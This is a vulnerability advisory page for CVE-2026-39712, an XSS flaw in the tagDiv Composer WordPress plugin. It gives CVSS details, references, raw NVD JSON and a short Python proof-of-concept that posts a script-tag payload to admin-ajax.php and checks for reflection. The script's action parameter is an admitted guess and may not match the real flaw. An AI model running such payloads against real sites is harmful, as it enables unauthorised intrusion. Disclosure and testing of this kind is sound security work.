CVE-2026-39712

Description

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in tagDiv tagDiv Composer td-composer allows Code Injection.This issue affects tagDiv Composer: from n/a through <= 5.4.3.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

tagDiv Composer <= 5.4.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual vulnerable endpoint)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Demonstrative payload injecting a script tag
# Attackers may also inject malicious shortcodes depending on the context
payload = {
    "action": "td_ajax_block", # Example action, actual parameter depends on version
    "td_atts": "<script>alert('CVE-2026-39712_XSS');</script>"
}

try:
    response = requests.post(target_url, data=payload)
    
    # Check if the payload is reflected in the response unsanitized
    if "CVE-2026-39712_XSS" in response.text and "<script>" in response.text:
        print("[+] Vulnerability confirmed: XSS payload reflected successfully.")
    else:
        print("[-] Vulnerability not detected or payload sanitized.")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39712
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39712
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39712/
[4] VulDB https://vuldb.com/cve/CVE-2026-39712
[5] https://patchstack.com/database/Wordpress/Plugin/td-composer/vulnerability/wordpress-tagdiv-composer-plugin-5-4-3-arbitrary-shortcode-execution-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39712", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:44.130", "lastModified": "2026-04-29T10:17:43.663", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in tagDiv tagDiv Composer td-composer allows Code Injection.This issue affects tagDiv Composer: from n/a through <= 5.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/td-composer/vulnerability/wordpress-tagdiv-composer-plugin-5-4-3-arbitrary-shortcode-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}